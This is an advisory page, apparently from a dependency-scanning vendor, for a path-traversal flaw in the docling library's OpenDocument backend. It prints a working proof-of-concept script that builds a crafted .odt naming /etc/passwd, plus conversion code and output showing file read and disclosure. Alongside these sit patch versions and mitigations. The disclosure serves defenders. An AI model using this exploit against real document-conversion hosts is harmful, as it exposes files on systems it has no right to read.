Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-105751 — docling

Fix: docling-project/docling@6ee9965

CVE-2026-105751 is a Path Traversal vulnerability in docling. A fix is available for docling — see the affected versions and patch details below.

Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend

Also known asGHSA-4xhp-xg4w-8ppmPYSEC-2026-4207
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 16, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-105751.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍docling

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from content.xml, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the enable_local_fetch / enable_remote_fetch controls that the other backends use for exactly this decision.

Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target decodes as an image, its complete contents are embedded in the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports.

Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries.

Affected component

docling/backend/opendocument_backend.py, in _image_ref_from_odf_image:

image_url = _odf_image_href(image)
...
if image_data is None and odf_obj is not None and image_url:
    try:
        image_data = odf_obj.get_part(image_url)
    except Exception:
        image_data = None
 
if image_data is None and image_url:
    image_path = Path(image_url)
    if image_path.is_file():
        image_data = image_path.read_bytes()

_odf_image_href returns the xlink:href attribute. The in-archive lookup is attempted first; when it fails, the same string is handed to Path and read from disk.

The only filter on the way in is _odf_image_can_be_bitmap, which admits any path whose suffix is one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them.

The backend does not use the project's own fetch controls

$ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \
      docling/backend/opendocument_backend.py
$

Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through docling/backend/utils/image_resource_loader.py, where enable_local_fetch and enable_remote_fetch both default to False. The ODF backend reimplements image loading and does not consult either, so the default of not fetching local resources is not applied on this path.

That is the substance of the report: the control exists, it is off by default, and this backend does not reach it.

Affected versions

Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF image/table handling" (#3480), 2026-06-24. First released in v2.107.0.

Affected: docling >= 2.107.0, up to and including 2.117.0 and current main (52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1).

Subsequent commits touching this file — 2c3e55b3 (skip a draw:object with a missing embedded part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports) — address unrelated defects and leave the path resolution unchanged.

Reproduced on two independent machines:

Python 3.12.3docling-slim 2.117.0, docling-core 2.88.0, odfdo 3.23.1
Python 3.14.4same releases, and again against main clones on sys.path

Proof of concept

Trigger

An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part.

import zipfile
 
CONTENT = (
    '<?xml version="1.0"?><office:document-content '
    'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" '
    'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" '
    'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" '
    'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">'
    '<office:body><office:text><text:p>'
    '<draw:frame><draw:image xlink:href="{href}"/></draw:frame>'
    '</text:p></office:text></office:body></office:document-content>'
)
 
def build(path, href):
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_STORED
        z.writestr(zi, "application/vnd.oasis.opendocument.text")
        zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_DEFLATED
        z.writestr(zi, CONTENT.format(href=href))
 
build("odt_etc_passwd.odt", "/etc/passwd")
build("odt_control.odt", "Pictures/image1.png")

With the fixed archive timestamp above the artifacts are byte-reproducible:

FileBytessha256
odt_etc_passwd.odt452edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634
odt_control.odt458da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6

Without the fixed timestamp the archive size varies by a few bytes with the length of the href string, which is the only part that changes.

Conversion — public API, default install, no options set

from pathlib import Path
from docling.document_converter import DocumentConverter
from docling_core.types.doc import ImageRefMode
 
doc = DocumentConverter().convert(Path("trigger.odt")).document
print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))

The read itself is observed with sys.addaudithook, which records every open without modifying Docling or any dependency.

A self-contained script, odf_repro.py, is attached. It creates its own canary image in a fresh temporary directory, builds the trigger and the control, converts both, and reports the read, the disclosure in each export format, and ten consecutive repetitions.

Output — disclosure

python        3.14.4
docling       /home/asus/CVE/docling/docling/__init__.py
canary        /tmp/odf_canary_eoz7_2d8/canary.png  (104 B, sha256 b9c57d2dc728be7f)
trigger       odf_trigger.odt  (471 B, sha256 341d060294c90447)
 
file opened outside document : True  ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]
contents present in html     : True
contents present in markdown : True
contents present in json     : True
 
control (in-archive href)    : disclosed=False
determinism                  : 10/10
 
----------------------------------------------------------------------
RESULT: REPRODUCED
----------------------------------------------------------------------

The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly.

The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside the archive and discloses nothing, through the same function. That is what separates this from intended behaviour.

Output — read of a non-image path

The read happens before any decoding is attempted, so it is not confined to image files.

/etc/passwd                  status=success  opened=['/etc/passwd']
/etc/does_not_exist_9c1f     status=success  opened=[]

Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths.

Impact

Confirmed by execution, default install, no options set:

  1. Arbitrary local file read. A converted document names an absolute path and Docling opens it. Observed for /etc/passwd and for paths with no extension.
  2. Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way.
  3. Full content disclosure. Where the target decodes as an image, its bytes are embedded in the DoclingDocument and appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight.

Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is an accepted input format there, json is an accepted output format, and the service defaults to binding 0.0.0.0 with DOCLING_SERVE_API_KEY unset, so on the face of it the same defect is reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am raising it for you to check rather than presenting it as a result.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIdocling≥ 2.107.0&&< 2.120.32.120.3pip install --upgrade 'docling==2.120.3'

Affected Products

1 product · 1 configurations
Application
doclingdocling
≥ 2.107.0 && < 2.120.3
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for docling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update docling to 2.120.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-105751 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatLow

A low impact information disclosure vulnerability was found in the docling document conversion library, which is bundled in Red Hat OpenShift AI and Lightspeed Core container images. When docling parses an OpenDocument file, the OpenDocument backend uses the xlink:href attribute of a draw:image element as a local…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-105751 (CC BY 4.0)

Frequently Asked Questions

## Summary The ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from `content.xml`, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch` controls that the other backends use for exactly this decision. Converting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target de
O3 Security · Impact-Aware SCA

Is CVE-2026-105751 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-105751: docling — Fixed in 2.120.3